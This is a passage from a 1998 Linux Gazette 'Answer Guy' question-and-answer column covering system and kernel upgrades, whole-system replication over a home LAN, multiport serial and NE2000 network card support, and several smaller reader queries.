look up from this <A HREF="http://www.suse.com/">S.u.S.E.</A> (RPM) system.
</blockquote>
<blockquote>(I'm sure I'll get flamed for the perceived slight ---
oh well. Comes with the territory. Please include
techie info and examples with the flames).
</blockquote>
<blockquote>Now, when it comes to major system upgrades (like
<tt>libc5</tt>
to <tt>glibc</tt>, and from a 1.x kernel to a 2.x kernel) it's a
different matter.
</blockquote>
<blockquote>If you have a libc5 system and you just install glibc
unto it; there's no real problem. The two will co-exist.
All of your existing libc5 programs will continue to load
their shared libraries, and all your glibc2 (a.k.a. libc6)
linked programs should find the new library. Running a
mixture of "typical" programs from both libraries will
have not important effects (although you'll be using more
memory than you would if all you binaries are linked
against the same libraries.
</blockquote>
<blockquote>Notice I said "typical" --- when it comes to system
utilities, like the '<TT>login</TT>' command there are some
interactions that are significant and even incompatible.
I've heard that the format of the "utmp" and "wtmp"
records are different (these are user and "who" log
files) which are accessed by a whole suite of different
utilities (like the '<TT>who</TT>' and 'w' commands, the 'login'
and '<TT>xdm</TT>' commands, '<tt>screen</tt>' and other utilities).
</blockquote>
<blockquote>So, it's best to upgrade the whole system to glibc
at once. (The occasional application, one that is not
part of the base "system" and isn't "low level" that
uses a different version/set of libraries won't be a
problem).
</blockquote>
<blockquote>With most recent kernels you can install the sources
under <tt>/usr/src/linux</tt> and running the following command:
</blockquote>
<blockquote><blockquote><code>make menuconfig
</code></blockquote></blockquote>
<blockquote>(go through a long list of options to customize the
kernel to your system and preferences)... or copy
in your old <tt>.config</tt> file and type:
</blockquote>
<blockquote><blockquote><code>make oldconfig
</code></blockquote></blockquote>
<blockquote>... to focus on just the differences between the
options listed/chosen for your previous kernel and
the new one.
</blockquote>
<blockquote>Then you'd type something like:
</blockquote>
<blockquote><blockquote>
<code>make clean dep install modules modules_install
</code></blockquote></blockquote>
<blockquote>... and wait awhile.
</blockquote>
<blockquote>I've done kernel upgrades that were that easy. Usually
I read the "changelog" and other text files, and the
help screens on most of the new options (I usually also
have to refresh my memory on a couple dozen old options).
</blockquote>
<blockquote>These are major upgrades because they can affect the
operation of your whole system.
</blockquote>
<blockquote>Recently my father (studying Mathematica) needed a better
video card. This was an old VLB (VESA Local Bus) 486
running Red Hat 4.1. So I decided to build a new system
(Pentium 166, PCI video card, new 6Gb UDMA hard disk)
and upgrade his system to Red Hat 5.1.
</blockquote>
<blockquote>So, here's how I did that:
</blockquote>
<blockquote>Build new hardware, boot from a customized copy of Tom
Oehser's "root/boot" diskette (<A HREF="http://www.toms.net/rb">http://www.toms.net/rb</A>)
and connect to the LAN using a temporary IP address that
we have reserved for this purpose.
</blockquote>
<blockquote>I then run fdisk on the new drive and issue a command
like:
</blockquote>
<blockquote><blockquote>
<code>for i in 1 3 5 6 7; do mk2efs -c /dev/hda$i; done
</code></blockquote></blockquote>
<blockquote>(to make filesystems all all of the partitions, root,
rescue root, <tt>/usr</tt>, <tt>/home</tt> and <tt>/usr/local</tt>). I go away
and answer e-mail and get some coffee, getting thoroughly
side tracked.
</blockquote>
<blockquote>A day or so later I remember to finish work on that (he
reminds me that he has some homework to do).
</blockquote>
<blockquote>Now I mount all of these filesystems they way I want
them to be later (when I reboot from the hard disk).
So I mount the new rootfs under <tt>/mnt/den</tt> (the machine's
name is Deneb --- an obscure star) and the new usr
under <tt>/mnt/den/usr</tt> and the new <tt>/usr/local</tt> under
<tt>/mnt/den/usr/local</tt> (etc).
</blockquote>
<blockquote>Then I copy his old <tt>/etc/passwd</tt> and
<tt>/etc/group</tt> file
into the ram disk (see below) and issue a command
like the following:
</blockquote>
<blockquote><blockquote>
<code>rsh deneb "cd / && find . | cpio -o0BH crc " \
<br>| ( cd /mnt/den && cpio -ivumd )
</code></blockquote></blockquote>
<blockquote>... this copies his <EM>entire</EM> existing system to the new
system.
</blockquote>
<blockquote>When that's done (doesn't take long, but I don't time it
--- it runs unattended until I get back to it), I
edit the <tt>/mnt/den/etc/fstab</tt>, run a chroot command
(cd <tt>/mnt/den && chroot . /bin/sh</tt>) fix up the
<tt>lilo.conf</tt>
file and run <tt>/sbin/lilo</tt>, and reboot (with the root/boot
diskette removed.
</blockquote>
<blockquote>Now I've replicated his whole system (and accidently
knocked his off of our LAN because I forgot to reset
the IP address of this box). So, I fix that.
</blockquote>
<blockquote>I make a last check to make sure that everything *really*
did copy over like I wanted:
</blockquote>
<blockquote><blockquote>
<code>cd / ; rsh den " cd / && tar cf - . " | tar df -
</code>
</blockquote>
</blockquote>
<blockquote>... this copies <EM>all</EM> of his file back over the net
again (this time using '<TT>tar</TT>' instead of cpio), but the
receiving copy just compares (diffs) the incoming file
"archive" (from it's standard input, a.k.a. the pipelined
data) rather than extracting them and writing them into
place.
</blockquote>
<blockquote>This reports a few differences among some log files,
the <tt>/etc/</tt> files that I modified, and it gives some errors
about "sockets" (Unix domain sockets show up in your
file tree as little filenames with the "s" as the
leading characters in an '<tt>ls -l</tt>' output; there are
about five or six of these on a typical system, one for
your printer, one for you syslog and one or two for any
copies of X Windows or '<TT>screen</TT>' you may have run. These
should not be confused with "internet domain" sockets
which only exist in memory and go through your IP interfaces).
</blockquote>
<blockquote>I presume that the tar diff feature simply doesn't support
Unix domain sockets, it's probably a bug, but not a
significant one to me.
</blockquote>
<blockquote>A different bug in '<TT>cpio</TT>' is a bit irritating and I have
to report it to their maintainer. Remember how I copied over
my old passwd and group files before the transfer? There's
*supposed* to be an option to "use the numeric UID and GID"
(<tt>-n</tt> or <tt>--numeric-uid-gid</tt>) in '<TT>cpio</TT>' (and a similar one in
newer versions of '<tt>tar</tt>'). However, my copies (on several
machines from several distributions around the house) all
just give an error if I try to use that switch. Not a
<em>reasonable</em> error message like: "option not supported"
or "don't do that you moron" --- just a stubborn insistence
on printing the "usage" summary which clearly shows these
options as available!
</blockquote>
<blockquote>The quickest workaround is to just copy of the passwd
and group files to the local system before attempting
the "restore" (replication). One time when I failed to
do this (using a version of '<TT>tar</TT>' that didn't support the
feature) it squashed the ownership of <EM>every</EM> file to
'<tt>root</tt>' --- resulting in a useless system. Luckilly I was
just playing around that other time, so I learned to
watch out for that.
</blockquote>
<blockquote>So, now I just slip in my Red Hat 5.1 CD (courtesy of the
IBM booth at last week's ISPCon in San Jose --- where they
were giving them out). I think IBM's booth got them from
the BALUG (Bay Area Linux Users Group) which is still trying
to scrape up a few hundred bucks to pay for the '<TT>free</TT>' booth
they were offered. (Free means no fees to the convention
co-ordinators; we went out of pocket for "renting" tables
and chairs and paying for a power extension for the demo
computer).
</blockquote>
<blockquote>From there I just let the RH 5.1 upgrade process run its
course.
</blockquote>
<blockquote>What!?! All that work just to let run the upgrade?
</blockquote>
<blockquote>Yep!
</blockquote>
<blockquote>I spent years in technical support (MS-DOS and Windows
markets). I consider vendor and OS upgrades to be the most
dangerous thing you can do on your computer. I'm sure
they've caused more downtime and lost data than failed
hard drives, virus infections, stupid users (other than
the stupidity of blind updates), and disgruntled employees.
</blockquote>
<blockquote>So, I like to make sure that I can get back to where I
started. For me, that means "start with a copy of the
system or a restore of the system's backups" I've been
known to take a hard drive out of a system, install a
new one, restore the backup to <EM>that</EM> and then to the
restore to the "new" system. (The old hard drive stays
on a shelf until the data on it is so out of date it
would be worth copying back in --- then gets rolled into
some other system, or the same one, as "extra disk space").
</blockquote>
<blockquote>Now, please don't take this as a personal attack on Linux
or Red Hat. So far they haven't failed me. I have yet to
see an "upgrade" destroy one of my systems. However, my
professional experience as proven to me that this is
the right approach even for one of my home systems.
</blockquote>
<blockquote>In this case the upgrade was silky smooth. I had to
fuss a little to get in a new X server (different
video card, remember) and the new system really didn't
like the PS/2 mouse that I have it (which was of
no consequence, since my father uses a serial port
trackball, so the mouse that I had in <tt>/dev/psaux</tt> was
just a temporary one anyway).
</blockquote>
<blockquote>Oh, yeah, I had to compile a new kernel to support
the ethernet card I'm using (a Tulip based Netgear).
There was probably a module laying around the CD
for it somewhere --- but so what. It's a good
test for the system.
</blockquote>
<blockquote>At this point the old computer sitting in the living
room, and the new one is in his room running Mathematica.
In a week or so (when we're really convinced that everything
is really O.K with the new box) I'll prep that old 486
up as a server (my colocated server is do for an upgrade
--- so this one will go in for it, and that one will become
the spare and test bed).
</blockquote>
<blockquote>I can understand how most users don't want to have whole
systems around as spares. However, these days, it's
not too expensive to keep an extra 6Gb hard drive laying
around for these sorts of "major" upgrades. It's also
a good way to insure that your backups are working (if
you use the "restore" method rather than a network
"replication" trick).
</blockquote>
<blockquote>Note that this whole process, as complicated as it
sounds, only takes a little more "human" time than
just slipping in the CD and doing it blindly. The
system keeps pretty busy --- but I don't wait for it,
I only issued 10 commands are so (I have a couple of
scripts for "tardiff" and "replicate" to save some
of the typing).
</blockquote>
<blockquote>For the daring you can run a program called
'<tt>rpmwatch</tt>'
(or Red Hat or other RPM based systems) or "<tt>autoup.sh</tt>"
(Debian). You point these at your favorite mirror and
they will automatically update new packages.
</blockquote>
<blockquote>Of course this is "daring" --- I personally wouldn't
consider it from any public mirror site. I have
recommended it to corporate customers, where they
point their client systems at an internal server and
their staff posts rpm's after testing (limited automated
deployment). This is a little easier for some sorts
of upgrades than using '<TT>rdist</TT>' and home brewed scripts.
</blockquote>
<blockquote>In terms of upgrades --- my main "gateway" (router,
server, mailhost, uucp hub, and internal web server) is
an old 386/33 --- it's about a decade old, has 32Mb
of RAM and single, full SCSI chain with a few Gig of disk
space). It runs an old copy of RH 4.2, which is an upgrade
(disk replication/swap method) from 3.03, which is an
upgrade from Slackware 1.(something), which was an upgrade
(wipe and re-install from scratch) from SLS something
(running a 0.99p10 kernel).
</blockquote>
<blockquote>I used to use that machine (antares) for everything
(even X --- it has a 2mb STB Powergraph video card
that cost more than a new motherboard would have).
However, these days I mostly use '<TT>canopus</TT>' -- a S.u.S.E.
5.1 upgraded to 5.3 (blindly --- I was feeling lazy!)
My wife mostly uses her workstation, '<TT>betelgeuse</TT>' ---
which came from VA Research with some version of Red Hat
(read the review I wrote for Linux Journal if you're
really curious) --- and was upgraded (new installation
on new drive, copy the data) to S.u.S.E. 5.2.
</blockquote>
<blockquote>So, you can see that we've used a variety of upgrade
strategies around the house over the years.
</blockquote>
<blockquote>As for installing a new kernel. Do a good backup.
Now ask: Can I afford a bit of down time if I break
the system (while I restore it)? If the answer is
"Yes" than go get a 2.1.124 (or later) kernel and try
that. We're getting <EM>really</EM> close to 2.2 and only
a few thousand people have tried the new kernels. So
we want <EM>lots</EM> of people to at least <em>try</em> the current
releases before we finally go to 2.2.
</blockquote>
<blockquote>(Linus doesn't want to have 36 "fix" releases to
the next kernel series).
</blockquote>
<blockquote>The new kernel should be much faster in TCP/IP performance
(already one of the fastest on the platform) and much, much
faster in filesystem performance (using the new dcache
system).
</blockquote>
<blockquote>So, try the new kernel. Be sure to get a new copy of pppd
if you use that --- the kernel does change some structure
or interface that the old version trips on.
</blockquote>
<blockquote>This upgrade will not be nearly as big a deal as the
1.2 to 2.0 shift (which was the most disruptive in the
history of Linux as far as I can tell --- the formats
of entries under /proc changed, so it broke the whole
procps suite of utilities, like the '<TT>ps</TT>' and '<tt>top</tt>'
commands). I haven't seen any such problems from the
2.0 to 2.1 kernels (I'm running a 2.1.123 at the
moment, on canopus. antares is running on 2.0.33 or so
--- it is least frequently upgraded because it is the
server.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Looking forward to your answer.
Frits.
</strong></p>
<!-- end body -->
<A NAME="tag/digi.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Linux Support for the DigiBoard C/X Intelligent Serial Ports</H3>
<p><strong>From Dave Barker on 08 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>I'm trying to setup a Linux RH 5.0 box as a dial in server using a
DigiBoard C/X host adaptor and a 16 port C/Con 16 Concentrator.
What I'd like to know is:
</strong></p>
<p><strong>Does Linux support Software controlled Serial Ports, meaning the
current attempt has been to set up a 15MB dos partition as the boot,
and install the DOS drivers from Digi, and then add the com ports
into linux?
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">The question (as stated) is flawed. On a PC all multi-port
serial boards require some form of software to control them
(since the BIOS/firmware only supports 4 COM ports). In
addition the BIOS support for COM ports is extremely limited
and slow --- so all communications software (under DOS,
Windows, OS/2, Linux and other forms of UNIX, etc) have
bypassed the firmware and used direct access to the I/O ports
that control the serial ports as well as those that actually
carry the serial data).
</blockquote>
<blockquote>So, a more reasonably restatement of your question might be:
</blockquote>
<blockquote>
<blockquote>Can Linux use the DOS drivers supplied by Digi?
</blockquote>
</blockquote>
<blockquote>... that answer is "no." (It is also "no" for NT, other
forms of UNIX, OS/2 and probably for Win '95/'98 as well).
</blockquote>
<blockquote>Device drivers are generally not portably between operating
systems. The interface between an OS kernel and its
device driver is typically unique for each OS. There has been
some discussion about creating a portable PC device driver
specification --- to allows
<a href="http://www.sco.com/">SCO</a>,
<a href="http://www.sun.com/">Solaris</a>,
Linux, and *BSD
drivers to share (at least some) device drivers. That will
probably never happen --- and even if it does it will probably
never extend to non-Unix-like operating systems.
</blockquote>
<blockquote>Now, regarding the broader question:
</blockquote>
<blockquote>
<blockquote>Does Linux support the Digi C/X intelligent serial port
subsystem?
</blockquote>
</blockquote>
<blockquote>When I last corresponded with Digi about this they assured
me that they would have native Linux drivers by the end of
that summer. That was over a year ago. I did check back
on their web site a couple of months ago and it didn't seem
to indicate that they'd ever delivered on this promise.
</blockquote>
<blockquote>The obvious thing to do would be to contact their support
staff and ask for native Linux drivers. It may be that their
web site is out of date, or that my efforts t weed through
their pages was inadequate (the bigger the company, the
worse their web site).
</blockquote>
<p><em>[ I dunno about the
<a href="http://www.dgii.com/">Digi International</a>
site, (which is being redesigned right now) but the
<a href="http://private.fuller.edu/~clameter/digi.html">Linux
Digiboard Page</a> might be useful, even though it's
rather old. -- Heather ]</em></p>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Next if this would work in theory what is the proper way to go about
setting the serial ports up?
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">The "proper way" would be to use the device drivers that work
with your OS. Another way, might be to run the DOS drivers
under '<TT>dosemu</TT>' (configuring that with sufficient access to
the hardware and I/O permissions map that the Linux kernel
will let it drive the serial board). However, that would
only allow DOS to access the devices.
</blockquote>
<blockquote>In the project where I initially contacted them I was
using an operating system called TSX-32 (by S&H systems:
<A HREF="http://www.sandh.com">http://www.sandh.com</A>) --- and the TSX-BBS (also by them).
</blockquote>
<blockquote>This package is a 32-bit multi-user commercial (closed source)
OS that's modeled after the old TSX-11 and RSX-11 (a predecessor
to VMS on the PDP-11 platform). It also runs a decent DOS
emulator and the BBS has some nice features that make it more
scalable than any other that I'd seen
</blockquote>
<blockquote>(I've run
<a href="http://www.galacticomm.com/">Galacticomm</a> MajorBBS
and <a href="http://www.esoft.com/">eSoft</a> TBBS systems which
used to be limited to single CPU's, had no TCP/IP support, no
end-user scripting facilities, limited support for doors, and
little or no support for intelligent serial hardware --- such
that 255 was about the maximum --- PCBoard as limited to about
4 to 8 lines per PC --- and you needed a Netware server to
cluster those. TSX-BBS can handle 250 lines per server and
multiple servers can peer over TCP/IP for a potential of
thousands of lines).
</blockquote>
<blockquote>Obviously Linux (and other forms of Unix) have that sort of
scaleability --- given the drivers. There are some big Unix/Linux
BBS' out there (like MMB "Teammate" and a native port of
Galacticomm's BBS --- renamed to something like "WorldPort"
--- though I don't remember the details).
</blockquote>
<blockquote>My enthusiasm for TSX-BBS has waned a bit (they aren't
getting out the updates that I'd hoped for). However, that's
a non-issue since I left that position long ago and no longer
have to maintain any BBS' (and the whole dial-up bulletin
board system phenomenon seems to have waned almost as much
as UUCP).
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">I'm really in a bind here, and could use any help I can get!
Thanks in advance
David Barker
<A HREF="mailto:jaeckyl@execpc.com">jaeckyl@execpc.com</A>
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I would beat up on Digi --- and, if they don't satisfy your
needs --- consider one of their other models (a number of them
do support Linux) or Rocketport, Equinox, Comtrol, Cyclades,
Stallion, or other vendors of multi-port serial hardware that
will support Linux.
</blockquote>
<blockquote>Naturally I understand that this may entail major reworking of
your plan. The C/X is the only system that I know of that
allows you to connect 250 ports to a PC using only one bus
slot. You might have to rework your plan to use multiple
Linux systems, each with multiple serial port board, and
configure those as "terminal servers" (have them binding
the incoming serial/phone connections into 8-bit clean
rlogin/telnet sessions to the master server.
</blockquote>
<blockquote>Of course you could also look at traditional terminal servers.
These are router-like devices that do precisely what I've
described (often with support for their own authentication
--- RADIUS and/or various versions of TACACS, and support
to provide PPP and/or SLIP instead of the rlogin/telnet like
session that would be used for dial-up terminal use.
</blockquote>
<blockquote>Naturally to give you better advice and more specifics I'd
have to know more about your requirements and less about the
particular problems you're encountered with your currently
proposed solution. All I can currently guess about your
requirements is that you need support for a bunch of serial
lines (you said "dial-in" so I can also guess that a bunch
of modems are involved).
</blockquote>
<blockquote>If you already purchased the C/X and you already selected
Linux for this project then <EM>shame on you</EM> --- you really need
to do requirements analysis <EM>before</EM> committing to various
implementation details (specific hardware and software). (If
you're just stuck with some stuff you had laying about for a
skunkworks project --- then my condolences; you might need to
negotiate some funding for it).
</blockquote>
<!-- end body -->
<A NAME="tag/ether.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>NE2000 "clones" --- not "cloney" enough!</H3>
<p><strong>From Jack on 08 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>Hi, I am a huge fan of Linux and all that GNU stands for. I got my first
taste of Linux back in the 0.99 days. Since that time I have poked and
prodded along with different flavors of installation, but due to my work
environment I have never been able to jump in with both feet. I have
finally scraped together a modest system for my home use that I can
dedicate to Linux, and wanted to get it set up as a network server. I have
been reading articles, <a href="http://www.linuxresources.com/LDP/HOWTO/HOWTO-INDEX-3.html#ss3.1">HOWTOs</a>, and the like about setting up network
access. Each of the refrences have always begun past the step where I am
getting hung up. I cannot get the system to recognize my eithernet card.
</strong></p>
<p><strong>True it is an NE2000 clone (cheap), but Win95 recognizes it just fine and
the software packaged with it has no trouble locating the card, nor does
the plug-n-pray BIOS. I read the <a href="http://www.linuxresources.com/LDP/HOWTO/Ethernet-HOWTO.html">Eithernet-HOWTO</a> which tells about issuing
commands during the lilo startup and tried that with the values returned
from the packaged diagnostic software. I'm hoping this is just something
I'm overlooking or mis-read or didn't read(yet), and not a situation where
I need to upgrade the ethernet card (my last option). I came to you as my
next to last option since you have given so many people good advice in the
past. I hope you can help and look forward to hearing from you soon.
</strong></p>
<p><strong>Jack.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Replace the ethernet card. Go get a Netgear (Tulip based)
or a 3Com (3c509).
</blockquote>
<blockquote>I had <EM>exactly</EM> the same problem when I first tried to
configure a Linux system to use some NE2000 clone.
</blockquote>
<blockquote>It probably has nothing to do with Plug-n-pray or IRQ's
or I/O ports, or kernel drivers, or options, or your
ifconfig command. I tried everything with that card
--- and it just plain wasn't recognized!
</blockquote>
<blockquote>Trust me. You can spend $30 (US) or less on a supported
ethernet card and it will almost certainly just <em>work</em>.
Or you can spend the same hours I did thinking "I must be
stupid" <em>and then go buy the card</em>.
</blockquote>
<blockquote>The term NE2000 should be taken with a large block of
salt (the kind we use to haul out to the horse pastures
when I was a kid). They are "NE2000 compatible" in about
the same way as a "winmodem" is "Hayes compatible" ---
only when you use them through the "supported" software.
</blockquote>
<blockquote>True hardware level compatability involves using the
exact same sets of I/O ports and other adnctions
as the original. Most of the cheap NE2000 just aren't
compatible, they have to supply their versions of the
drivers --- and they only achieve "compatibility" through
the software interfaces.
</blockquote>
<!-- end body -->
<A NAME="tag/goodtimes.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>The Infection and the Cure: (Good Times as a Virus)</H3>
<p><strong>From peter.wiersig@db.com on 23 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong><em><font color="navy">You're certainly entitled to your opinion, and you could
get much response and satisfaction (if you are troll) by
</font></em></strong></p>
<p><strong>I think I had been troll by sending my mail to the Answer Guy.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I didn't think you were trolling me.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom"><em><font color="navy">None of this is relevant to Linux. Most Linux users are
sophisticated enough to simply ignore these threads
(clearly I fail <EM>that</EM> test, myself).
</font></em></strong></p>
<p><strong>I apologize. I had found the Linux Gazette lately and read many
of the issues in the last days. I was impressed by your column
and I am now enlighted, that I've contacted you in the wrong
context. I hope I will think more about what to send to whom in
the future.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">No apology is necessary. You stated an opinion,
I disagreed with it. The discussion is mildly offtopic.
I pointed that out.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom"><em><font color="navy">Some have referred to "Good Times" hoaxes as "mental
viruses" --- more power to them. By their token *you*
have been infected since you have revived (brought back
to life) the discussion.
</font></em></strong></p>
<p><strong>Yeah, I should be more careful on the decision where I put my focus
on.
</strong></p>
<p><strong>Hope I stole not too much of your time.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">No problem. I'm the one that volunteers for this gig.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Yours, Peter Wiersig
</strong></p>
<p><strong>(If any of the above don't make much sense, maybe because english is
not my first language.)
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Sometimes I'm not sure my English is up to snuff either.
</blockquote>
<!-- end body -->
<A NAME="tag/intlX.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>More on International Keyboard Mappings and Monochrome X</H3>
<p><strong>From Axel Harvey on 08 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>Further to my verbose text of last night. I realized after spouting
away that accent and symbol keys will not elicit any response from
the shell command line (except a rude beep) but they do work
perfectly well in text-receiving functions like <tt>pico</tt> and <tt>pine</tt>. I,
poor sap, had been modifying and reloading my test keymap, then
seeing if the keys worked from the command line...!??!
</strong></p>
<p><strong>I should have mentioned that the <a href="http://www.redhat.com">RedHat</a> distribution has a French
keyboard which works, but I don't find the layout very useful. I
shall send them my own version of a French keyboard as soon as I
have refined it sufficiently.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Yep.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">I still don't understand my problem with X installation.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Have you tried the suggestions I already gave?
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Are you plagued by questions from stupid guys who could solve their
own mysteries with one more hour of futzing?
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">That's not stupidity. Hours of "futzing" is experience.
I personally feel that the hours of "futzing" that I've
done should benefit others besides myself.
</blockquote>
<blockquote>However, I am plagued by questions that are more readily
answered in
<a href="http://www.linuxresources.com/LDP/HOWTO/HOWTO-INDEX-3.html#ss3.1">HOWTO</a>'s and even some questions that I can
only categorize as <EM>stupid</EM> (like phreak/cracker wannabe's
and jobhunting AS/400 specialists).
</blockquote>
<!-- end body -->
<A NAME="tag/largedisk.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Suggestions for Linux Users with Ultra Large Disks</H3>
<p><strong>From Tom Watson on 09 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>Answer guy:
</strong></p>
<p><strong>In several questions, I see people asking about booting large disks
with older machines. A while ago I built up a machine like this,
and had a reasonable solution.
</strong></p>
<p><strong>While I can understand that the problem is often interference with the
"other" operating systems, in the case I used, I had an older '486
motherboard which given the requirements for windoze was a bit out of
date, but quite reasonable for Linux. In attempting a "normal"
installation on the larger disk, the first (root) partition was quite a
bit over the 540 MB BIOS limitation. It took me a few attempts at
running LILO and understanding its error messages (I even tried the
"linear" option) to understand the problem (I hadn't used a disk that
large before). When I remembered the "540MB" problem, the solution that
I explained above seemed the "easiest" to implement, and with the least
amount of "hassle". It only took a few symbolic links/copies and I was
done. The "basic" root partition was still intact, and nobody really
worried about the difference. I feel that if I wanted to, I could have
made a "small" partition and installed the "root" files there, but most
installations want a larger partition to get "the whole works"
installed.
</strong></p>
<p><strong>Sure this gets around the "1024 cylinder" problem, but usually that is
all that is needed. Linux, once it has started the kernel, supplies the
drivers for further operation. The small partition is only used to
accomidate the BIOS, whose ONLY function is to load the kernel anyway.
</strong></p>
<p><strong>I suppose an altrenative is to use "loadlin" under dos, but you still
need to boot DOS, and the 1024 cylinder problem comes up again.
</strong></p>
<p><strong>I'm trying to get a solution that involves "minimum impact".
<br>--
Tom Watson I'm at work now (Generic short signature)
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">All true enough. My point is that my answers are not
simply intended to show what works for me or what is
minimum impact for one situation (usually a situation
about which I'm given very little information). My
answers try to cover a large number of likely situations
and to suggest things that no one seems to have tried before
(like the auto-rescue configuration I was babbling about).
</blockquote>
<blockquote>I've frequently suggested small partitions, LOADLIN,
alternate root partitions, even floppy drive kernels.
</blockquote>
<blockquote>Another problem --- the source of this whole thread
has to do with support for these Ultra-DMA drives that are
over 8Gb. I guess that the most recent kernels (2.0.35 and
later?) have support for a different IDE driver that can
handle these. I thought I'd seen reports of problems with
them. I commented on this in the hopes that someone would
give me the scoop on <em>those</em>.
</blockquote>
<!-- end body -->
<A NAME="tag/maybe.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"width="50" height="28"
align="left" border="0">Query </H3>
<p><strong>From Christopher & Eunjoo Kern on 21 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>Mr. James Dennis:
</strong></p>
<p><strong>I had been given your name as a reference from a coworker of mine.
He has told me that you often answer the most difficult of questions
regarding Windows 95 and Linux software. Are you indeed the fellow
my friend speaks of, and could you possibly answer a question or
two of mine?
</strong></p>
<p><strong>Kern.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I actually answer Linux questions. I get alot of Win '95
questions, which I grudgingly answer to some small part of
my extremely limited ability.
</blockquote>
<blockquote>Although I bump into Win '95 occasionally at my customer's
sites and with some friends, I probably have clocked in less
than 10 hours of "driving time" on it and NT and Win '98
all told.
</blockquote>
<blockquote>I answer Linux questions for free for the Linux Gazette.
You can see many of those by pointing your web browser
at: <A HREF="http://www.linuxgazette.com">http://www.linuxgazette.com</A> (they also have a
nifty search feature).
</blockquote>
<blockquote>Linuz Gazette is part of the Linux Documentation Project
(LDP: <A HREF="http://www.sunsite.unc.edu">http://www.sunsite.unc.edu</A>). That's the best resource
for basic Linux information.
</blockquote>
<blockquote>So, what are your questions?
</blockquote>
<!-- end body -->
<A NAME="tag/numlock.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Conflict: Num-Lock, X Window Managers, and pppd</H3>
<p><strong>From Victor J. McCoy on 11 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>Please publish this. After the original question, I received a
number of inquiries indicating that I'm not the only one with this
problem.
</strong></p>
<p><strong>Last year <a href="http://www.linuxgazette.com/issue22/issue22.html">LG22</a> (Oct97) I asked a question regarding window manager
and pppd anomaly.
</strong></p>
<p><strong>Quick answer: Num-Lock key activation.
</strong></p>
<p><strong>Long answer:
</strong></p>
<p><strong>I finally got fed up with the problem, so I tore my machine apart,
down to a single SCSI controller (with only my root drive),
keyboard, modem.
</strong></p>
<p><strong>The problem continued. I upgraded to redhat 5.0 since, and the
problem persisted, different Window managers also exhibit problems
(just differently). I even changed to <A HREF="http://www.caldera.com/">Caldera</A> lite 1.2, and I
still had the problem.
</strong></p>
<p><strong>Believe it or not, it turned out to be my NUM-LOCK key. If NL is
active, then the WM screws up EVERY TIME; different WMs just screw
up differently. I would turn on Num-lock to ping a host IP addr
and that would be all it took.
</strong></p>
<p><strong>I have a MS natural keyboard (Of all the products MS has, software
sucks, but I love the hardware [KB and Mouse].) I'm sure that's
not the problem, because I've only recently acquired the KB and
the problem has been around for a couple of years.
</strong></p>
<p><strong>I would like to know if this is a widespread problem. Surely, I'm
not one of very few people to use the numeric keypad.
</strong></p>
<p><strong>Victor J. McCoy
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I'll just let this message speak for itself. I'm
not really sure what it's saying but it sounds like
a call for other people to do some testing. What happens
if you have your NumLock key active when you start up and
user your ppp link from within an X session.
</blockquote>
